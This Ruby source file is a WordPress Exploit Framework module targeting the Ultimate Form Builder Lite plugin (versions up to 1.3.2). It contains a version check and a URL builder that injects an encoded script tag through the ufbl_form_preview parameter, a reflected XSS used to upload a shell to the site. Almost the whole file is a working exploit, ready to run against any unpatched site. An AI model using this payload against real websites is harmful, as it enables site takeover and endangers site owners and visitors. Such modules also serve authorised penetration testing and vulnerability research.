# frozen_string_literal: true

class Wpxf::Exploit::UltimateFormBuilderLiteReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Ultimate Form Builder Lite <= 1.3.2 Reflected XSS Shell Upload',
      author: [
        'DefenseCode <www.defensecode.com>', # Discovery
        'rastating'                          # WPXF module
      ],
      references: [
        ['WPVDB', '8798'],
        ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-027_WordPress_Ultimate_Form_Builder_Plugin_Advisory.pdf']
      ],
      date: 'Apr 14 2017'
    )
  end

  def check
    check_plugin_version_from_readme('ultimate-form-builder-lite', '1.3.3')
  end

  def url_with_xss
    "#{full_uri}?ufbl_form_preview=true&ufbl_form_id=1%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3Ca%20href%3D%22"
  end
end
